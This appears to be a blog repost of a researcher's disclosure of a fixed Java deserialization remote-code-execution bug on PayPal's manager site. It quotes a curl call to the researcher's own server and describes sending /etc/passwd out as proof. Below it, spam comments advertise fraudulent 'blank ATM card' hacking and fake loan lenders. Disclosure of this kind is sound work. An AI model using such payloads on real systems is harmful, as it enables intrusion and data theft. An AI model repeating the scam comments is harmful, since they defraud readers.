Pages

Thursday, February 4, 2016

PayPal Remote Code Execution


In December 2015, I found a critical vulnerability in one of PayPal business websites (manager.paypal.com). It allowed me to execute arbitrary shell commands on PayPal web servers via unsafe Java object deserialization and to access production databases. I immediately reported this bug to PayPal security team, and it was fixed promptly.

Details

While testing manager.paypal.com, I came across an unusual post form the oldFormData parameter that looks like a complex object after base64 decoding:


The following research showed that it is a Java serialized object without any signature. It means you can send a serialized object of any existing class to the server, and the readObject (or readResolve) method of that class will be called. For exploitation, you need to find a suitable class in the classpath application, which can be serialized and has something interesting (from exploitation point of view) in the readObject method. You can read about this technique in a recent article by FoxGlove Security. A year ago, Chris Frohoff (@frohoff) and Gabriel Lawrence (@gebl) found suitable classes in Commons Collections library that could lead to remote code execution. They also published the ysoserial payload generation tool on their github page.

Exploit

I downloaded this tool and generated a simple payload that sends DNS and HTTP requests to my own server by executing the “curl x.s.artsploit.com/paypal” shell command.


Then I sent the base64 encoded payload in the oldFormData parameter to the application server and was impressed by an incoming request from the PayPal network that appeared in my NGINX access log:


I realized that I could execute arbitrary OS commands on the web servers of manager.paypal.com, establish a back connection to my own Internet server, and, for example, upload and execute a backdoor. As a result, I could access production databases used by the application of manager.paypal.com.

Instead, I just read the /etc/passwd file by sending it to my server as a proof of the vulnerability.


I also recorded a video how to reproduce this vulnerability and reported it to the PayPal security team.

Later, I found out that many other endpoints of the manager.paypal.com application also use serialized objects and can be exploited.

In a month, my report received a Duplicate status because another researcher, Mark Litchfield, reported a similar vulnerability two days earlier than I did (on December 11, 2015). PayPal decided to pay me a good bounty anyway, and I have nothing but respect for them.

Demo



Author: Michael Stepankin (Artsploit)

Аrticle original posted here

28 comments:

  1. This comment has been removed by a blog administrator.

    ReplyDelete
    Replies
    1. HACK ATM MACHINES NEAREST TO YOU AND BECOME RICH!!!
      You can hack and break into a bank's security ATM Machine without carrying guns or any weapon.

      How is this possible?
      First of all we have to learn about the manual hacking of ATM MACHINES and BANKING ACCOUNTS.

      HOW THE ATM MACHINE WORKS.
      If you have been to the bank you find out that the money in the ATM MACHINE is being filled right inside the house where the machine is built with enough security. To hack this machine We have develop a special blank ATM Card which you can use in any ATM Machine around the world. This ATM card is been programmed and can withdraw $1000 within 24 hours in any currency. There is no ATM MACHINES this BLANK ATM CARD CANNOT penetrate because its been programmed with various tools and software. The card will make the security camera malfunction at that particular time until you are done with the transaction you can never be trace. It also has a technique that makes it impossible for the CCTVs to detect you, Getting the card you will forward the me your details so we can proceed to send the card to you once you agree to the terms and conditions. You would wonder why i send out the cards instead of using them my self to get enough money. The card does not work in my current country so i am using it to help people and they will send me part of the money once they get it and use it. If you are interested then email me for more info:seandominguez222@gmail.com.

      Delete
    2. How I Was Rescued By A God Fearing Lender {Lexieloancompany@yahoo.com}..

      Hello, I am Andrew Thompson currently living in CT USA, God has bless me with two kids and a lovely Wife, I promise to share this Testimony because of God favor in my life, 2days ago I was in desperate need of money so I thought of having a loan then I ran into wrong hands who claimed to be loan lender not knowing he was a scam. he collected 1,500.00 USD from me and refuse to email me since then I was confuse, but God came to my rescue, one faithful day I went to church after the service I share idea with a friend and she introduce me to LEXIE LOAN COMPANY, she said she was given 98,000.00 USD by MR LEXIE , THE MANAGING DIRECTOR OF LEXIE LOAN COMPANY. So I collected his email Address , he told me the rules and regulation and I followed, then after processing of the Documents, he gave me my loan of 55,000.00 USD... So if you are interested in a loan you can as well contact him on this Email: Lexieloancompany@yahoo.com or text +1(816) 892-6958 thanks, I am sure he will also help you.

      Delete
    3. How I Was Rescued By A God Fearing Lender {Lexieloancompany@yahoo.com}..

      Hello, I am Andrew Thompson currently living in CT USA, God has bless me with two kids and a lovely Wife, I promise to share this Testimony because of God favor in my life, 2days ago I was in desperate need of money so I thought of having a loan then I ran into wrong hands who claimed to be loan lender not knowing he was a scam. he collected 1,500.00 USD from me and refuse to email me since then I was confuse, but God came to my rescue, one faithful day I went to church after the service I share idea with a friend and she introduce me to LEXIE LOAN COMPANY, she said she was given 98,000.00 USD by MR LEXIE , THE MANAGING DIRECTOR OF LEXIE LOAN COMPANY. So I collected his email Address , he told me the rules and regulation and I followed, then after processing of the Documents, he gave me my loan of 55,000.00 USD... So if you are interested in a loan you can as well contact him on this Email: Lexieloancompany@yahoo.com or text +1(816) 892-6958 thanks, I am sure he will also help you.

      Delete
  2. Best Place To Get Your Financial Problem Solved (Lexieloanfinance@gmail.com)

    My Name is Nicole Marie, I live in USA and life is worth living comfortably for me and my family now and i really have never seen goodness shown to me this much in my life, As i am a struggling mum with two kids and i have been going through a serious problem as my husband encountered a terrible accident last two weeks, and the doctors states that he needs to undergo a delicate surgery for him to be able to walk again and i could not afford the bill for his surgery then i went to the bank for a loan and they turn me down stating that i have no credit card, from there i ran to my father and he was not able to help me, then when i was browsing through yahoo answers and i came across a God fearing man (Mr Martinez Lexie) who provides loans at an affordable interest rate and i have been hearing about so many scams on the Internet mostly Africa, but at this my desperate situation, i had no choice than to give it an attempt due to the fact that the company is from United State of America, and surprisingly it was all like a dream, i received a loan of $82,000.00 USD and i payed for my husband surgery and thank GOD today he is ok and can walk, my family is happy and i said to myself that i will shout to the world the wonders this great and God fearing Man Mr Martinez Lexie did for me and my family; so if anyone is in genuine and serious need of a loan do contact this GOD fearing man via Email: ( Lexieloanfinance@gmail.com ) or reach him through this number +1 (406) 946-0675 thanks

    ReplyDelete
  3. Thanks for the very nice topic. Very useful information from the carrier.
    We IT hub Online Training are good in giving the datastage Training

    ReplyDelete


  4. Thanks for the very nice topic. Very useful informationfrom the carrier.
    We IT hub Online Training are good in giving the oracle apps technical Training

    ReplyDelete

  5. Thanks for sharing these information. It’s a very nice topic. We are providing online training classesteradataonlinetraining

    ReplyDelete
  6. My name is Frank am here to testify about how we i Wisdom ATM black card to make money and also have my own business today. Go get your blank ATM card today and be among the lucky ones. This PROGRAMMED blank ATM card is capable of hacking into any ATM machine,anywhere in the world.It has really changed my life for good and now i can say am rich and can never be poor again. You can withdraw the maximum of $ 15,000 daily i can proudly say my business is doing fine and i have up to 30,000 000 (10 millions dollars in our account) Is not illegal,there is no risk of being caught ,because it has been programmed in such a way that it is not traceable,it also has a technique that makes it impossible for the CCTV to detect you..For details and cost on how to get yours today, email the hackers: on wisdom.blankatmhacker@hotmail.com) or call +2348133873774 to get your card

    ReplyDelete
  7. This comment has been removed by the author.

    ReplyDelete
  8. Nice to be visiting your blog again, it has been months for me. Well this article that i've been waited for so long. I need this article to complete my assignment in the college, and it has same topic with your article. Thanks, great share. happy wheels 2

    ReplyDelete
  9. Wow amazing i saw the article with execution models you had posted. Congrats and It was such informative. Really its a wonderful article. Thank you for sharing and please keep update like this type of article because i want to learn more relevant to this topic.

    digital marketing training Chennai

    ReplyDelete
  10. Hoe ik werd gered door een angst voor God Lender {Lexieloancompany@yahoo.com} ..

    Hallo, ik ben Andrew Thompson momenteel woonachtig in CT USA, God zegen me met twee kinderen en een lieve vrouw, ik beloof dat ik deze getuigenis vanwege Gods genade in mijn leven te delen, 2 dagen geleden was ik in wanhopige behoefte aan geld, dus ik dacht van het hebben van een lening dan kwam ik verkeerde handen die beweerde lening kredietverstrekker niet wetende dat hij een scam was zijn. Hij 1.500,00 USD verzameld van mij en weiger om me te mailen sindsdien verwarren was ik, maar God me te hulp kwam, een trouwe dag ging ik naar de kerk na de dienst Ik deel idee met een vriend en ze voeren mij LEXIE lening bedrijf, ze zei dat ze was gegeven 98,000.00 USD van MR LEXIE, de algemeen directeur van LEXIE lening bedrijf. Dus ik zijn e-mailadres verzameld, vertelde hij me de regels en regelgeving en ik volgde, dan na verwerking van de documenten, gaf hij me mijn lening van 55,000.00 USD ... Dus als je geïnteresseerd bent in een lening kunt u ook contact met hem op dit E-mail: Lexieloancompany@yahoo.com of tekst +1 (816) 892-6958 bedankt, ik ben ervan overtuigd dat hij zal je ook helpen.

    ReplyDelete
  11. How I Was Rescued By A God Fearing Lender {Lexieloancompany@yahoo.com}..

    Hello, I am Andrew Thompson currently living in CT USA, God has bless me with two kids and a lovely Wife, I promise to share this Testimony because of God favor in my life, 2days ago I was in desperate need of money so I thought of having a loan then I ran into wrong hands who claimed to be loan lender not knowing he was a scam. he collected 1,500.00 USD from me and refuse to email me since then I was confuse, but God came to my rescue, one faithful day I went to church after the service I share idea with a friend and she introduce me to LEXIE LOAN COMPANY, she said she was given 98,000.00 USD by MR LEXIE , THE MANAGING DIRECTOR OF LEXIE LOAN COMPANY. So I collected his email Address , he told me the rules and regulation and I followed, then after processing of the Documents, he gave me my loan of 55,000.00 USD... So if you are interested in a loan you can as well contact him on this Email: Lexieloancompany@yahoo.com or text +1(816) 892-6958 thanks, I am sure he will also help you.

    ReplyDelete
  12. How I Was Rescued By A God Fearing Lender {Lexieloancompany@yahoo.com}..

    Hello, I am Andrew Thompson currently living in CT USA, God has bless me with two kids and a lovely Wife, I promise to share this Testimony because of God favor in my life, 2days ago I was in desperate need of money so I thought of having a loan then I ran into wrong hands who claimed to be loan lender not knowing he was a scam. he collected 1,500.00 USD from me and refuse to email me since then I was confuse, but God came to my rescue, one faithful day I went to church after the service I share idea with a friend and she introduce me to LEXIE LOAN COMPANY, she said she was given 98,000.00 USD by MR LEXIE , THE MANAGING DIRECTOR OF LEXIE LOAN COMPANY. So I collected his email Address , he told me the rules and regulation and I followed, then after processing of the Documents, he gave me my loan of 55,000.00 USD... So if you are interested in a loan you can as well contact him on this Email: Lexieloancompany@yahoo.com or text +1(816) 892-6958 thanks, I am sure he will also help you.

    ReplyDelete
  13. هكذا الافضليه الكامله لشركه اركان المملكه اذا معنا انت الافضل نقدم لك كافه التسهيلات الممكنه فى هذا المجال
    شركة كشف تسربات المياه بالرياض
    معنا انت تتعامل بمجال تنظيف المنازل والفلل والقصور وغيرها اذا معنا انت الافضل
    شركة نقل عفش بالرياض
    اتصلوا نصلكم اينما كنتم بالمملكه فى كافه المجالات ومجال العفش الدائم والفعال هنا وهناك وبكافه اركان المملكه
    شركة رش مبيدات بالرياض
    مع شركه اركان المملكه الشركه الام التى لها تاريخ وباع كبير وفعال فى هذا المجال وغيره من المجالات المتنوعه والمتوفره فى هذا السياق
    شركة اركان المملكه
    اذا نحن معك دائما نقدم لك كافه العماله بكل اتقان وامانه وبكافه التسهيلات الممكنه
    شركة تنظيف منازل بالرياض
    معنا انت تتعامل باقل الاسعار اتصل نصلك اينما كنت وفى كل وقت وكل مان بالمملكه السعوديه

    ReplyDelete
  14. When i used the pay pal remote really wondered how it works. After seeing this remote code execution feeling satisfied with its working. When i used the academic writing services my friend told about pay pal. He suggested to choose the best in all services. So oi am happy with the service provider i have got.

    ReplyDelete
  15. How I Was Rescued By A God Fearing And Trusted Lender {Lexieloancompany@yahoo.com}..

    Hello, I am Andrew Thompson currently living in CT USA, God has bless me with two kids and a lovely Wife, I promise to share this Testimony because of God favor in my life, 2days ago I was in desperate need of money so I thought of having a loan then I ran into wrong hands who claimed to be loan lender not knowing he was a scam. he collected 1,500.00 USD from me and refuse to email me since then I was confuse, but God came to my rescue, one faithful day I went to church after the service I share idea with a friend and she introduce me to LEXIE LOAN COMPANY, she said she was given 98,000.00 USD by MR LEXIE , THE MANAGING DIRECTOR OF LEXIE LOAN COMPANY. So I collected his email Address , he told me the rules and regulation and I followed, then after processing of the Documents, he gave me my loan of 55,000.00 USD... well if you are interested in a loan you can as well contact him on this Email: Lexieloancompany@yahoo.com or call/sms on: +18168926958 thanks, I am sure he will also help you. Website: http://lexieloans.bravesites.com

    ReplyDelete
  16. Very efficiently written information. It will be valuable to everyone who uses it, including myself. Thanks a lot!

    ___________________________
    SEO companies Europe

    ReplyDelete
  17. nice posts..
    SAP HANA training in hyderabad,This is the best path You can Learn COmplete Course with full fledge knowledge of SAP.SAP HANA training in hyderabad

    ReplyDelete
  18. The war between humans, orcs and elves continues. Lead your race through a series of epic battles, using your crossbow to fend off foes and sending out units to destroy castles. Researching and upgrading wisely will be crucial to your success!
    age of war 3 | slitherio | unfair mario 2 |
    The game controls are shown just under . Movement mechanisms primarily include acceleration and tilting controls.
    cubefield | tank trouble | happy wheels | earn to die 1 | earn to die 2

    ReplyDelete
  19. Best Place To Get A Solution To Your Financial Problems (Lexieloancompany@yahoo.com)!!!

    My Name is Nicole Marie, I live in USA and life is worth living comfortably for me and my family now and i really have never seen goodness shown to me this much in my life, As i am a struggling mum with two kids and i have been going through a serious problem as my husband encountered a terrible accident last two weeks, and the doctors stated that he needs to undergo a delicate surgery for him to be able to walk again and i could not afford the bills for his surgery then i went to the bank for a loan and they turn me down stating that i have no credit card, from there i ran to my father and he was not able to help me, then when i was browsing through yahoo answers i came across a God fearing man (Mr Martinez Lexie) who provides loans at an affordable interest rate and i have been hearing about so many scams on the Internet mostly Africa, but at this my desperate situation, i had no choice than to give it an attempt due to the fact that the company is from United State of America, and surprisingly it was all like a dream, i received a loan of $82,000.00 USD and i payed for my husband surgery and thank GOD today he is ok and can walk, my family is happy and i said to myself that i will shout to the world the wonders this great and God fearing Man Mr Martinez Lexie did for me and my family; so if anyone is in genuine and serious need of a loan do contact this GOD fearing man via Email: ( Lexieloancompany@yahoo.com ) or through the Company website: http://lexieloans.bravesites.com OR text: +18168926958 thanks


    ReplyDelete